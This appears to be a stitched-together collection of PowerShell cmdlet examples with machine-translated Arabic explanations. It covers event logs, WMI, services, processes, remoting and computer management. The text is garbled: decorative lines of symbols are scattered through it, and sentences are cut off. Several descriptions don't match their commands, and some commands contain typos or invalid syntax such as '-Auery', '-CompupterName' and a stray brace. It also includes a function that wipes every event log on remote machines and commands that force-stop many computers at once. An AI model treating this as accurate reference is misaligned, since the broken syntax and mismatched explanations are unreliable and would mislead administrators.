Export-Alias -Path "alias.csv" -Append -Description "Appended Aliases" -Force
لأنه يتم تحديد المعلمة نوكلوبر، الأمر سوف تفشل إذا كان ملف Alias.csv موجود بالفعل في الدليل الحالي.
إلحاق الأسماء المستعارة بملف
تصدير الأسماء المستعارة كبرنامج نصي
Export-Alias -Path "alias.ps1" -As Script
Add-Content -Path $Profile -Value (Get-Content alias.ps1)
$S = New-PSSession -ComputerName Server01
Invoke-Command -Session $S -FilePath .\alias.ps1
Get-Date -DisplayHint Date
Get-Date -Format g
Get-Date -UFormat "%Y / %m / %d / %A / %Z"
(Get-Date -Year 2000 -Month 12 -Day 31).DayOfYear
$a = Get-Date
$a.IsDaylightSavingTime()
$a = Get-Date
$a.ToUniversalTime()
$a = Get-WmiObject Win32_Bios -Computer Server01
$a | Format-List -Property Name, @{Label="BIOS Age";Expression={(Get-Date) - $_.ConvertToDateTime($_.ReleaseDate)}}
Get-Date | Add-Content Test.txt
الحصول على برويسس عشوائي
Get-Process | Get-Random
أوامر التصدير من كمبيوتر بعيد
$S = New-PSSession -ComputerName Server01 -Credential Server01\User01
Export-PSSession -Session $S -OutputModule TestCmdlets -Type cmdlet -CommandName *test* -FormatTypeName *
Remove-PSSession $S
Import-Module TestCmdlets
Get-Help Test*
Test-Files
يصدر أمره جميع الأوامر وجميع بيانات التنسيق من بسسيون في المتغير $ S في الدورة الحالية. يستخدم الأمر معامل ألوكلوبر لتضمين الأوامر بنفس الأسماء مثل الأوامر في الجلسة الحالية.
أوامر التصدير من بسسيون مغلقة
$Options = New-PSSessionOption -NoMachineProfile
$S = New-PSSession -ComputerName "Server01" -SessionOption $Options
Export-PSSession -Session $S -OutputModule Server01
Remove-PSSession $S
New-PSSession -ComputerName "Server01" -SessionOption $Options
Import-Module Server01
استيراد كافة الأوامر من بسسيون
$S = New-PSSession -ComputerName Server01
Import-PSSession -Session $S
ضافة إلى الدورة الحالية، يمكنك استخدام بناء الجملة المحلي لتشغيلها. لا تحتاج إلى استخدام كمدليت إنفوك-كوماند لتشغيل أمر تم استيراده
$S1 = New-PSSession -ComputerName s1
$S2 = New-PSSession -ComputerName s2
Import-PSSession -Session s1 -Type cmdlet -Name New-Test, Get-Test -FormatTypeName *
Import-PSSession -Session s2 -Type Cmdlet -Name Set-Test -FormatTypeName *
New-Test Test1 | Set-Test -RunType Full
وماند، توقف ويندوز بويرشيل الأمر الذي يقوم بإنشاء الكائنات بمجرد إنشاء العدد المحدد من الكائنات، حتى عندما يظهر الأمر الذي ينشئ الكائنات قبل الأمر تحديد كائن في خط الأنابيب. لإيقاف هذا السلوك الأمثل، استخدم معلمة الانتظار
Get-Process | Select-Object -Property ProcessName, Id, WS
يؤدي هذا الأمر إلى إنشاء الكائنات التي تحتوي على خصائص الاسم و إد و مجموعة العمل (وس) لكائنات العملية.
مثال 2: تحديد الكائنات حسب الخاصية وتنسيق النتائج
Get-Process Explorer | Select-Object -Property ProcessName -ExpandProperty Modules | Format-List
كمدليت لتحديد أسماء العمليات. لأن الخاصية الوحدات النمطية يحتوي على كائن مودولبروسيس يحتوي على العديد من الخصائص يستخدم الأمر معلمة إكساندبروبيرتي للحصول على خصائص الكائنات في خاصية الوحدات النمطية لكل عملية. يستخدم الأمر كمدليت تنسيق قائمة لعرض اسم وحدات كل عملية في قائمة.حدد العمليات باستخدام معظم الذاكرة
Get-Process | Sort-Object -Property WS | Select-Object -Last 5
معلمة الانتظار غير مطلوبة في الأوامر التي تتضمن كمدليت سورت-أوبجيكت لأن سورت-أوبجيكت يعالج كافة الكائنات ثم يقوم بإرجاع مجموعة. يتوفر خيار تحديد الكائن فقط للأوامر التي تعيد الكائنات بشكل فردي عند معالجتها.
حدد اسم وبدء يوم العمليات
Get-Process | Select-Object -Property ProcessName,@{Name="Start Day"; Expression = {$_.StartTime.DayOfWeek}}
_______________________________________________________________^^^^^^^^^^^^^^^^^^^^^^^^^^
"a","b","c","a","a","a" | Select-Object -Unique
يستخدم الأمر الخاص به المعلمة الفريدة من تحديد كائن للحصول على أحرف فريدة من مجموعة من الأحرف.
حدد الأحداث الأحدث والأقدم في سجل الأحداث
$A = Get-Eventlog -Log "Windows PowerShell"
$A | Select-Object -Index 0, ($A.count - 1)
يستخدم الأمر الثاني مشغل خط أنابيب (|) لإرسال الأحداث في $ A إلى كمدليت حدد كائن. يستخدم الأمر سيليكت-أوبجيكت معامل الفهرس لتحديد الأحداث من صفيف الأحداث في المتغير $ A. مؤشر الحدث الأول هو 0. فهرس الحدث الأخير هو عدد العناصر في $ A ناقص 1.
حدد كل الكائن الأول
New-PSSession -ComputerName (Get-Content Servers.txt | Select-Object -Skip 1)
يمكنك تحديد خاصية واحدة أو خصائص متعددة، لفرز متعدد المفاتيح، ويمكنك تحديد نوع حساس لحالة الأحرف أو لحالة الأحرف. يمكنك أيضا توجيه سورت-أوبجيكت لعرض الكائنات ذات القيمة الفريدة لموقع معين فقط.
Get-ChildItem | Sort-Object
يعرض هذا الأمر الملفات الموجودة في الدليل الحالي بترتيب تصاعدي حسب طول الملف.
Get-Process | Sort-Object -Property WS | Select-Object -Last 5
يقوم مشغل خط أنابيب آخر بإرسال النتائج إلى كائن تحديد، الذي يعرض فقط العناصر الخمسة الأخيرة في القائمة.
Get-History | Sort-Object -Descending
يقوم هذا الأمر بفرز عناصر هيستوريينفو باستخدام الخاصية إد كمفتاح افتراضي.
Get-Service | Sort-Object -Property @{Expression = "Status"; Descending = $True}, @{Expression = "DisplayName"; Descending = $False}
فرز الملفات النصية حسب الفترة الزمنية
Get-ChildItem *.txt | Sort-Object -Property @{Expression={$_.LastWriteTime - $_.CreationTime}; Ascending = $False} | Format-Table LastWriteTime, CreationTime
يحدد هذا الأمر نقطة توقف على متغير الخادم في البرنامج النصي Sample.ps1. يستخدم المعلمة مود مع قيمة ريادوريت لإيقاف التنفيذ عند قراءة قيمة المتغير وقبل تغيير القيمة.
Set-PSBreakpoint -Script Sample.ps1 -Command "write*"
تعيين نقطة توقف اعتمادا على قيمة متغير
Set-PSBreakpoint -Script "test.ps1" -Command "DiskTest" `
-Action { if ($Disk -gt 2) { break } }
تعيين نقطة توقف على وظيفة
Set-PSBreakpoint -Command "checklog"
إرسال بريد إلكتروني إلى قائمة بريدية
Send-MailMessage -To "User01 <user01@example.com>" -From "ITGroup <itdept@example.com>" -Cc "User02 <user02@example.com>" -bcc "ITMgr <itmgr@example.com>" -Subject "Don't forget today's meeting!" -Credential domain01\admin01 -UseSs
الحصول على سجلات الأحداث على الكمبيوتر المحلي
Get-EventLog -List
أمره يحصل على سجلات الأحداث على الكمبيوتر المحلي.
الحصول على أحدث خمس إدخالات من سجل أحداث معين على الكمبيوتر المحلي
Get-EventLog -Newest 5 -LogName "Application"
يحصل هذا الأمر على أحدث خمس إدخالات من سجل أحداث التطبيق.
البحث عن جميع المصادر التي يتم تمثيلها في عدد محدد من الإدخالات في سجل الأحداث
$Events = Get-Eventlog -LogName system -Newest 1000
$Events | Group-Object -Property source -noelement | Sort-Object -Property count -Descending
******************************************************************************************************************^^^^^^^^^^^^^
يوضح مثاله كيفية العثور على كافة المصادر التي يتم تمثيلها في 1000 الإدخالات الأخيرة في سجل أحداث النظام.
يحصل الأمر الأول على أحدث 1،000 إدخالات من سجل أحداث النظام ويخزنها في متغير الأحداث $.
المصدر هو خاصية واحدة فقط من إدخالات سجل الأحداث. لمشاهدة كافة خصائص إدخال سجل الأحداث، إدخال إدخالات سجل الأحداث إلى كمدليت جيت-ميمبر.
الحصول على أحداث خطأ من سجل أحداث معين
Get-EventLog -LogName System -EntryType Error
************************************************************************************************************
يحصل الأمر الخاص به فقط أحداث خطأ من سجل أحداث النظام.
الحصول على الأحداث من سجل أحداث معين مع معرف مثيل وقيمة المصدر
Get-EventLog -LogName System -InstanceID 3221235481 -Source "DCOM"
*********************************************************************************************************
يحصل هذا الأمر الأحداث من سجل النظام التي تحتوي على إنستانسيد من 3221235481 وقيمة مصدر دسوم.
احصل على أحداث سجل الأحداث من أجهزة كمبيوتر متعددة
Get-EventLog -LogName "Windows PowerShell" -ComputerName "localhost", "Server01", "Server02"
يحصل هذا الأمر الأحداث من سجل أحداث ويندوز بويرشيل على أجهزة الكمبيوتر الثلاثة، Server01، Server02، والكمبيوتر المحلي، والمعروفة باسم لوكالهوست.
الحصول على كافة الأحداث في سجل الأحداث التي تتضمن كلمة معينة في قيمة الرسالة
Get-EventLog -LogName "Windows PowerShell" -Message "*failed*"
يحصل هذا الأمر على كافة الأحداث في سجل أحداث ويندوز بويرشيل التي تحتوي على قيمة رسالة تتضمن فشل الكلمة.
عرض قيم الخاصية لحدث في ليس
$A = Get-EventLog -Log System -Newest 1
$A | Format-List -Property *
احصل على الأحداث من سجل الأحداث باستخدام معرف المصدر والحدث
Get-EventLog -Log "Application" -Source "Outlook" | where {$_.eventID -eq 34}
يحصل هذا الأمر الأحداث في سجل أحداث التطبيق حيث يكون المصدر أوتلوك و معرف الحدث هو 34. على الرغم من أن كمدليت لا يحتوي على معلمة إيفنتيد، يمكنك استخدام كمدليت كائن أين لتحديد كائن بناء على قيمة أي حدث خاصية.
مثال 10:احصل على الأحداث في سجل الأحداث، مجمعة حسب خاصية
Get-EventLog -Log System -UserName "NT*" | Group-Object -Property "UserName" -noelement | Format-Table Count, Name -Auto
يعيد أمره الأحداث في سجل النظام مجمعة حسب قيمة الخاصية أوزرنام. يستخدم هذا الأمر المعلمة أوزرنام للحصول فقط الأحداث التي يبدأ اسم المستخدم مع نت *.
الحصول على كافة الأخطاء في سجل الأحداث التي حدثت خلال إطار زمني محدد
$May31 = Get-Date 5/31/08
$July1 = Get-Date 7/01/08
Get-EventLog -Log "Windows PowerShell" -EntryType Error -After $May31 -before $July1
مسح أنواع سجلات أحداث معينة من الكمبيوتر المحلي
Clear-EventLog "Windows PowerShell"
مسح أنواع سجلات متعددة محددة من أجهزة الكمبيوتر المحلية والبعيدة
Clear-EventLog -LogName "ODiag", "OSession" -ComputerName "localhost", "Server02"
يقوم أمره بمسح كافة الإدخالات في سجلات ميكروسوفت أوفيس دياغنوستيكش (أودياغ) و ميكروسوفت أوفيس سيسيونس (أوسيسيون) على الكمبيوتر المحلي والكمبيوتر البعيد Server02.
مسح كافة السجلات على أجهزة الكمبيوتر المحددة ثم عرض قائمة سجل الأحداث
function Clear-All-Event-Logs ($ComputerName="localhost")
{
$Logs = Get-EventLog -ComputerName $ComputerName -List | ForEach {$_.Log}
$Logs | ForEach {Clear-EventLog -Comp $ComputerName -Log $_ }
Get-EventLog -ComputerName $ComputerName -List
}
Clear-All-Event-Logs -Comp "Server01"
***************************************************************************************************************
تعمل فقط على سجلات الأحداث الكلاسيكية. للحصول على أحداث من السجلات التي تستخدم تقنية سجل أحداث ويندوز في نظام التشغيل ويندوز فيستا والإصدارات الأحدث من نظام التشغيل ويندوز
Write-EventLog -LogName "Application" -Source "MyApp" -EventID 3001 -EntryType Information -Message "MyApp added a user-requested feature to the display." -Category 1 -RawData 10,20
كتابة حدث إلى سجل أحداث التطبيق من كمبيوتر بعيد
Write-EventLog -ComputerName "Server01" -LogName Application -Source "MyApp" -EventID 3001 -Message "MyApp added a user-requested feature to the display."
الاحتفاظ بسجل أحداث لمدة محددة
Limit-EventLog -LogName Security -ComputerName "Server01", "Server02" -RetentionDays 7
يضمن هذا الأمر الاحتفاظ الأحداث في سجل الأمان على أجهزة الكمبيوتر Server01 و Server02 لمدة 7 أيام على الأقل
$Logs = Get-EventLog -List | ForEach {$_.log}
Limit-EventLog -OverflowAction OverwriteOlder -LogName $Logs
Get-EventLog -List
عرض سجلات الأحداث للكمبيوتر المحلي
Show-EventLog
يفتح هذا الأمر عارض الأحداث ويعرض فيه سجلات الأحداث الكلاسيكية على الكمبيوتر المحلي.
عرض سجلات الأحداث لجهاز كمبيوتر بعيد
Show-EventLog -ComputerName "Server01"
تعمل فقط على سجلات الأحداث الكلاسيكية. للحصول على أحداث من السجلات التي تستخدم تقنية سجل أحداث ويندوز في نظام التشغيل ويندوز فيستا والإصدارات الأحدث من نظام التشغيل ويندوز، استخدم كمدليت جيت-وينيفنت.
أمثلةإنشاء سجل أحداث وتسجيل مصدره
New-EventLog -Source "TestApp" -LogName "TestLog" -MessageResourceFile "C:\Test\TestApp.dll"
يقوم هذا الأمر بإنشاء سجل أحداث تيستلوغ على الكمبيوتر المحلي ويسجل مصدر جديد لذلك.
إضافة مصدر حدث إلى سجل التطبيق
$file = "C:\Program Files\TestApps\NewTestApp.dll"
New-EventLog -ComputerName "Server01" -Source "NewTestApp" -LogName "Application" -MessageResourceFile $file -CategoryResourceFile $file
إزالة سجل أحداث من الكمبيوتر المحلي
Remove-EventLog -LogName "MyLog"
يؤدي هذا الأمر إلى حذف سجل أحداث ميلوغ من الكمبيوتر المحلي وإلغاء تسجيل مصادر الحدث.
إزالة سجل أحداث من عدة أجهزة كمبيوتر
Remove-EventLog -LogName "MyLog", "TestLog" -ComputerName "Server01", "Server02", "localhost"
يؤدي هذا الأمر إلى حذف سجلات أحداث ميلوغ و تيستلوغ من الكمبيوتر المحلي و Server01 و Server02 أجهزة الكمبيوتر البعيدة. يقوم الأمر أيضا بإلغاء تسجيل مصادر الحدث لهذه السجلات.
حذف مصدر الحدث
Remove-EventLog -Source "MyApp"
يسرد الأمر الأول سجلات الأحداث على الكمبيوتر المحلي.
Get-EventLog -List
يقوم الأمر الثاني بحذف سجل أحداث زابلوغ.
Remove-EventLog -LogName "ZapLog"
تظهر هذه الأوامر كيفية إدراج سجلات الأحداث على جهاز كمبيوتر وتحقق من نجاح الأمر ريموف-إيفنتلوغ.
إزالة مصدر حدث وتأكيد الإجراء
Get-WmiObject win32_nteventlogfile -Filter "logfilename='TestLog'" | foreach {$_.sources}
Remove-Eventlog -Source "MyApp"
Get-WmiObject win32_nteventlogfile -Filter "logfilename='TestLog'"} | foreach {$_.sources}
لحصول على العمليات على الكمبيوتر المحلي
Get-WmiObject -Class Win32_Process
******************************************************************************************************************
هذا الأمر الحصول على العمليات على الكمبيوتر المحلي.
يحصل على خدمات على كمبيوتر بعيد
Get-WmiObject -Class Win32_Service -ComputerName 127.0.0.1
********************************************************************************************************************
هذا الأمر يحصل على الخدمات على جهاز كمبيوتر بعيد. يستخدم المعلمة كومبوترنام لتحديد عنوان بروتوكول إنترنت (إب)، 127.0.0.1. بشكل افتراضي، يجب أن يكون الحساب الحالي عضوا في مجموعة المسؤولين على الكمبيوتر البعيد.
الحصول على فئات ومي في الجذر أو مساحة الاسم الافتراضية للكمبيوتر المحلي
Get-WmiObject -Namespace "root/default" -List
يحصل هذا الأمر على فئات ومي في الجذر أو مساحة الاسم الافتراضية من الكمبيوتر المحلي.
الحصول على خدمة اسمه على أجهزة كمبيوتر متعددة
Get-WmiObject -Query "select * from win32_service where name='WinRM'" -ComputerName Server01, Server02 | Format-List -Property PSComputerName, Name, ExitCode, Name, ProcessID, StartMode, State, Status
إيقاف خدمة على كمبيوتر بعيد
(Get-WmiObject -Class Win32_Service -Filter "name='WinRM'" -ComputerName Server01).StopService()
هذا الأمر إيقاف خدمة وينرم على الكمبيوتر البعيد Server01. يستخدم الأمر الأمر جيت-وميوبجيكت للحصول على خدمة وينرم على Server01. ثم استدعاء الأسلوب
Get-WmiObject -Class Win32_Bios | Format-List -Property
الحصول على الخدمات على جهاز كمبيوتر بعيد
Get-WmiObject Win32_Service -Credential FABRIKAM\administrator -Computer Fabrikam
قم بإدراج الترتيب المطلوب من كائنات ومي
([wmiclass]'Win32_Volume').GetMethodParameters('Format')
إعادة تسمية ملف
Invoke-WmiMethod -Path "CIM_DataFile.Name='C:\scripts\test.txt'" -Name Rename -ArgumentList "C:\scripts\test_bu.txt"
إنشاء محرك أقراص تعيينها إلى مشاركة شبكة الاتصال
New-PSDrive -Name "P" -PSProvider "FileSystem" -Root "\\Server01\Public"
إنشاء محرك أقراص مؤقت
New-PSDrive -Name MyDocs -PSProvider FileSystem -Root "C:\Documents and Settings\User01\My Documents" -Description "Maps to my My Documents folder."
إنشاء محرك أقراص لمفتاح التسجيل
New-PSDrive -Name "MyCompany" -PSProvider "Registry" -Root "HKLM:\Software\MyCompany"
إنشاء محرك أقراص شبكة اتصال معين
New-PSDrive -Name "S" -Root "\\Server01\Scripts" -Persist -PSProvider "FileSystem"
الحصول على محركات الأقراص في الدورة الحالية
Get-PSDrive
الحصول على محرك أقراص على الكمبيوتر
Get-PSDrive D
الحصول على كافة محركات الأقراص التي يتم دعمها من قبل موفر نظام الملفات ويندوز بويرشيل
Get-PSDrive -Provider FileSystem
أمره يحصل على كافة محركات الأقراص التي تدعمها مزود ويندوز بويرشيل فلزيستم. يتضمن ذلك محركات الأقراص الثابتة، الأقسام المنطقية، محركات أقراص الشبكة المعينة، ومحركات الأقراص المؤقتة التي تقوم بإنشائها باستخدام كمدليت نيو-بسدريف.
if (Get-PSDrive X -ErrorAction SilentlyContinue) {
Write-Host 'The X: drive is already in use.'
} else {
New-PSDrive -Name X -PSProvider Registry -Root HKLM:\SOFTWARE
}
قارن أنواع محركات أقراص نظام الملفات
Get-PSDrive -PSProvider FileSystem
Get-CimInstance -Class Win32_LogicalDisk
Get-CimInstance -Class Win32_NetworkConnection
الحصول على قائمة بجميع العمليات النشطة على الكمبيوتر المحلي
Get-Process
الحصول على كافة البيانات المتاحة حول عملية أو أكثر
Get-Process winword, explorer | Format-List *
الحصول على كافة العمليات مع مجموعة عمل أكبر من حجم محدد
Get-Process | Where-Object {$_.WorkingSet -gt 20000000}
قائمة العمليات على الكمبيوتر في مجموعات على أساس الأولوية
$A = Get-Process PS C:\> Get-Process -InputObject $A | Format-Table -View priority
إضافة خاصية إلى عرض إخراج جيت-بروسيس القياسي
Get-Process pwsh |
ft @{Label = "NPM(K)"; Expression = {[int]($_.NPM / 1024)}},
@{Label = "PM(K)"; Expression = {[int]($_.PM / 1024)}},
@{Label = "WS(K)"; Expression = {[int]($_.WS / 1024)}},
@{Label = "VM(M)"; Expression = {[int]($_.VM / 1MB)}},
@{Label = "CPU(s)"; Expression = {if ($_.CPU) {$_.CPU.ToString("N")}}},
Id, MachineName, ProcessName -Auto
الحصول على معلومات الإصدار لعملية
Get-Process powershell -FileVersionInfo
الحصول على وحدات محملة مع العملية المحددة
Get-Process SQL* -Module
لتشغيل هذا الأمر على نظام التشغيل ويندوز فيستا والإصدارات الأحدث من ويندوز مع العمليات التي لا تملكها، يجب بدء تشغيل ويندوز بويرشيل مع الخيار تشغيل كمسؤول.ابحث عن مالك العملية
Get-Process pwsh -IncludeUserName
استخدام متغير تلقائي لتحديد عملية استضافة الدورة الحالية
Get-Process pwsh
Get-Process -Id $PID
الحصول على كافة العمليات التي لها عنوان نافذة رئيسية وعرضها في جدول
Get-Process | where {$_.mainWindowTitle} | Format-Table id, name, mainwindowtitle -autosize
إرفاق مصحح أخطاء إلى عملية على الكمبيوتر
Debug-Process -Name "Windows Powershell"
يعلق هذا الأمر مصحح الأخطاء على عملية ويندوز بويرشيل على الكمبيوتر.
إرفاق مصحح الأخطاء على كافة العمليات التي تبدأ مع سلسلة محددة
Debug-Process -Name "SQL*"
يعلق هذا الأمر مصحح الأخطاء على كافة العمليات التي تحتوي على أسماء تبدأ ب سكل.
إرفاق مصحح أخطاء لعدة عمليات
Debug-Process "Winlogon", "Explorer", "Outlook"
______________________________________________________________________^^^^^^^^^^^^^^^^^^^^^
يعلق هذا الأمر مصحح الأخطاء على عمليات وينلوغون إكسبلورر و أوتلوك.
إرفاق مصحح أخطاء لمعرفات معالجة متعددة
Debug-Process -Id 1132, 2028
ستخدام جيت-بروسيس للحصول على عملية ثم إرفاق مصحح أخطاء عليه
Get-Process "Windows PowerShell" | Debug-Process
إرفاق مصحح الأخطاء إلى العملية المحددة على أجهزة كمبيوتر متعددة
Get-Process -ComputerName "Server01", "Server02" -Name "MyApp" | Debug-Process
إرفاق مصحح أخطاء إلى عملية يستخدم معلمة إنبتوبوبجيكت
$P = Get-Process "Windows PowerShell"
Debug-Process -InputObject $P
الاشتراك في الأحداث التي تم إنشاؤها من قبل فئة
Register-WmiEvent -Class 'Win32_ProcessStartTrace' -SourceIdentifier "ProcessStarted"
الاشتراك في أحداث إنشاء لعملية
Register-WmiEvent -Auery "select * from __instancecreationevent within 5 where targetinstance isa 'win32_process'" -SourceIdentifier "WMIProcess" -MessageData "Test 01" -TimeOut 500
سجل للأحداث على كمبيوتر بعيد
Register-WmiEvent -Class 'Win32_ProcessStartTrace' -SourceIdentifier "Start" -Computername Server01
Get-Event -SourceIdentifier "Start"
حل المسار الحالي
Resolve-Path ~
حل مسار مجلد ويندوز
Resolve-Path -Path "windows"
الحصول على كافة المسارات في مجلد ويندوز
"C:\windows\*" | Resolve-Path
*************************************************************************************************************************
حل مسار ونك
Resolve-Path -Path "\\Server01\public"
الحصول على مسارات نسبية
Resolve-Path -Path "c:\prog*" -Relative
هذا الأمر بإرجاع المسارات النسبية الدلائل في جذر محرك الأقراص C:.
حل مسار يحتوي على بين قوسين
Resolve-Path -LiteralPath 'test[xml]'
الحصول على جميع الخدمات على جهاز الكمبيوتر
Get-Service
الحصول على الخدمات التي تبدأ بسلسلة بحث
Get-Service "wmi*"
عرض الخدمات التي تتضمن سلسلة البحث
Get-Service -Displayname "*network*"
لحصول على الخدمات التي تبدأ بسلسلة البحث والاستبعاد
Get-Service -Name "win*" -Exclude "WinRM"
عرض الخدمات النشطة حاليا
Get-Service | Where-Object {$_.Status -eq "Running"}
قائمة الخدمات على جهاز الكمبيوتر الذي يحتوي على خدمات تابعة
Get-Service | Where-Object {$_.DependentServices} | Format-List -Property Name, DependentServices, @{Label="NoOfDependentServices"; Expression={$_.dependentservices.count}}
ترتيب الخدمات حسب قيمة الخاصية
Get-Service "s*" | Sort-Object status
Get-Service "s*" | Sort-Object status -Descending
الحصول على الخدمات التابعة للخدمة
Get-Service "WinRM" -RequiredServices
الحصول على الخدمة من خلال مشغل خط أنابيب
"WinRM" | Get-Service
تغيير اسم العرض
Set-Service -Name "lanmanworkstation" -DisplayName "LanMan Workstation"
تغيير نوع بدء التشغيل من الخدمات
Get-WMIObject win32_service -Filter "name = 'SysmonLog'"
Set-Service -Name "sysmonlog" -StartupType automatic
Get-WMIObject win32_service -Filter "name = 'SysmonLog'"
Get-WMIObject win32_service | Format-Table Name, StartMode -auto
تغيير وصف الخدمة
Set-Service -Name "Schedule" -Description "Configures and schedules tasks."
Get-WMIObject win32_service | Where-Object {$_.Name -eq "Schedule"} | Format-List Name, Description
يقوم مشغل خط أنابيب آخر بإرسال النتيجة إلى كمدليت فورمات-ليست الذي يقوم بتنسيق الإخراج كقائمة تحتوي على خصائص الاسم والوصف فقط.
Set-Service -Name "winrm" -Status Running -PassThru
هو أمر يعلق خدمة الجدول. ويستخدم الحصول على الخدمة للحصول على الخدمة. يقوم مشغل خط أنابيب (|) بإرسال الخدمة إلى سيت-سيرفيس، الذي يغير حالته إلى بوسد
$s = Get-Service -Name "schedule"
Set-Service -InputObject $s -Status stopped
الأمر الثاني بتغيير حالة خدمة جدولة إلى إيقاف. يستخدم المعلمة إنبتوبجيكت لإرسال الخدمة المخزنة في المتغير $ s، ويستخدم المعلمة ستاتوس لتحديد الحالة المطلوبة.
$credential = Get-Credential
Set-Service -Name "schedule" -Credential $credential
تعيين مستوى تسجيل ومي
Set-WmiInstance -Class Win32_WMISetting -Argument @{LoggingLevel=2}
**************************************************************************************************
إنشاء متغير بيئة وقيمته
Set-WmiInstance -Class win32_environment -Argument @{Name="testvar";VariableValue="testvalue";UserName="<SYSTEM>"}
تعيين مستوى تسجيل ومي لعدة أجهزة كمبيوتر عن بعد
Set-WmiInstance -Class Win32_WMISetting -Argument @{LoggingLevel=2} -Computername "system01", "system02", "system03"
يحصل على الإصلاحات العاجلة التي تم تطبيقها على أجهزة الكمبيوتر المحلية والبعيدة.
Get-HotFix
***********************************************************************************
هذا الأمر يحصل على كافة الإصلاحات العاجلة على الكمبيوتر المحلي.
الحصول على كافة الإصلاحات العاجلة على أجهزة كمبيوتر متعددة تبدأ بسلسلة بحث
Get-HotFix -Description "Security*" -ComputerName "Server01", "Server02" -Cred "Server01\admin01"
**************************************************************************************
إنشاء ملف نصي يحتوي على أسماء الكمبيوتر التي تفتقد إلى تحديث أمني
$A = Get-Content "servers.txt"
$A | ForEach { if (!(Get-HotFix -Id "KB957095" -ComputerName $_)) { Add-Content $_ -Path "Missing-kb953631.txt" }}
*************************************************************************************************************************
الحصول على أحدث الإصلاحات العاجلة على الكمبيوتر المحلي
(Get-HotFix | sort installedon)[-1]
****************************************************************************************************************
إرسال طلبات صدى إلى كمبيوتر بعيد
Test-Connection "Server01"
***************************************************************
إرسال طلبات صدى إلى العديد من أجهزة الكمبيوتر
Test-Connection -ComputerName "Server01", "Server02", "Server12"
أمره يرسل بينغ من الكمبيوتر المحلي إلى العديد من أجهزة الكمبيوتر عن بعد.
إرسال طلبات صدى من عدة أجهزة كمبيوتر إلى جهاز كمبيوتر
Test-Connection -Source "Server02", "Server12", "localhost" -ComputerName "Server01" -Credential Domain01\Admin01
يرسل هذا الأمر بينغ من أجهزة الكمبيوتر المصدر المختلفة إلى جهاز كمبيوتر بعيد واحد، Server01. يستخدم المعلمة كريدنتيال لتحديد بيانات اعتماد المستخدم الذي لديه إذن بإرسال طلب بينغ من أجهزة الكمبيوتر المصدر. استخدم تنسيق الأوامر هذا لاختبار زمن اتصال الاتصالات من نقاط متعددة.
Test-Connection -ComputerName "Server01" -Count 3 -Delay 2 -TTL 255 -BufferSize 256 -ThrottleLimit 32
تشغيل اختبار كمهمة خلفية
$job = Test-Connection -ComputerName (Get-Content "Servers.txt") -AsJob
if ($job.JobStateInfo.State -ne "Running") {$Results = Receive-Job $job}
بينغ كمبيوتر بعيد مع بيانات الاعتماد
Test-Connection "Server55" -Credential Domain55\User01 -Impersonation Identify
إنشاء جلسة عمل فقط إذا نجح اختبار الاتصال
if (Test-Connection -ComputerName "Server01" -Quiet) {New-PSSession Server01}
يستخدم الأمر معلمات الانتظار، و، و مهلة لتحديد شروط الانتظار. يستخدم المعلمة ديلاي لتقليل الفاصل الزمني بين الاستعلامات إلى الكمبيوتر البعيد الذي يحدد ما إذا كان يتم إعادة تشغيل.
إعادة تشغيل جهاز كمبيوتر باستخدام وسمان
Restart-Computer -ComputerName "Server01" -Protocol WSMan -WSManAuthentication Kerberos
****************************************************************
Restart-Computer
يؤدي هذا المثال إلى إعادة تشغيل فوري لكافة أجهزة الكمبيوتر في النطاق 101.
إعادة تشغيل جهاز كمبيوتر بعيد وانتظر
Restart-Computer -ComputerName "Server01" -Wait -For PowerShell -Timeout 300 -Delay 2
يستخدم الأمر الأول كمدليت جيت-كونتنت للحصول على قائمة بأجهزة الكمبيوتر في المجال من ملف Domain01.txt. يقوم بتخزين القائمة في المتغير $ s.
$s = Get-Content Domain01.txt
$c = Get-Credential Domain01\Admin01
يقوم الأمر الثالث بإعادة تشغيل أجهزة الكمبيوتر. ويستخدم المعلمة * كومبوترنام * لتقديم قائمة أجهزة الكمبيوتر في المتغير $ s، و *
Restart-Computer -ComputerName $s -Force -ThrottleLimit 10 -Credential $c
يؤدي هذا الأمر إلى إيقاف الكمبيوتر البعيد Server01. يستخدم الأمر إعدادات انتحال الهوية والمصادقة المخصصة.
$s = Get-Content Domain01.txt
$c = Get-Credential domain01\admin01
Stop-Computer -ComputerName $s -Force -ThrottleLimit 10 -Credential $c
إيقاف تشغيل كمبيوتر بعيد
Stop-Computer -CompupterName "Server01" -Impersonation anonymous -Authentication PacketIntegrity
*********************************************************************
إضافة كمبيوتر محلي إلى مجال ثم قم بإعادة تشغيل جهاز الكمبيوتر
Add-Computer -DomainName "Domain01" -Restart
إضافة كمبيوتر محلي إلى مجموعة عمل
Add-Computer -WorkGroupName "WORKGROUP-A"
ضافة كمبيوتر محلي إلى نطاق
Add-Computer -DomainName "Domain01" -Server "Domain01\DC01" -Passthru -Verbose
إضافة أجهزة كمبيوتر مدرجة في ملف إلى نطاق جديد
Add-Computer -ComputerName (Get-Content Servers.txt) -Domain "Domain02" -Credential Domain02\Admin02 -Options Win9xUpgrade -Restart
اختبار قناة بين الكمبيوتر المحلي ونطاقه
Test-ComputerSecureChannel
يختبر أمره القناة بين الكمبيوتر المحلي والمجال الذي انضم إليه.
اختبار قناة بين الكمبيوتر المحلي وحدة تحكم مجال
Test-ComputerSecureChannel -Server "DCName.fabrikam.com"
يحدد هذا الأمر وحدة تحكم مجال مفضلة للاختبار.
إعادة تعيين القناة بين الكمبيوتر المحلي ونطاقه
Test-ComputerSecureChannel -Repair
يقوم الأمر بإعادة تعيين القناة بين الكمبيوتر المحلي ونطاقه.
عرض معلومات مفصلة عن الاختبار
Test-ComputerSecureChannel -verbose
اختبار اتصال قبل تشغيل البرنامج النصي
Set-Alias tcsc Test-ComputerSecureChannel
if (!(tcsc))
{Write-Host "Connection failed. Reconnect and retry."}
else { &(.\Get-Servers.ps1) }
================================================================>>>>>>>>>>>>>>>>>>>>
________________
يمنع المستخدمين البعيدين من تشغيل الأوامر على الكمبيوتر المحلي
Disable-PSRemoting
منع الوصول عن بعد إلى كافة تكوينات جلسة دون تأكيد موجه
Disable-PSRemoting -Force
احصل على بيانات عداد الأداء كمهمة خلفية
Start-Job -ScriptBlock {Get-Counter -Counter "\LogicalDisk(_Total)\% Free Space" -MaxSamples 1000}
لمخاطر الأمنية للتشغيل عن بعد. إذا تم اختراق الكمبيوتر البعيد، عند تمرير بيانات الاعتماد إليه، يمكن استخدام بيانات الاعتماد للتحكم في جلسة عمل الشبكة.
Disable-WSManCredSSP -Role Client
Disable-WSManCredSSP -Role Server
تفويض أوراق اعتماد العميل إلى أجهزة كمبيوتر متعددة
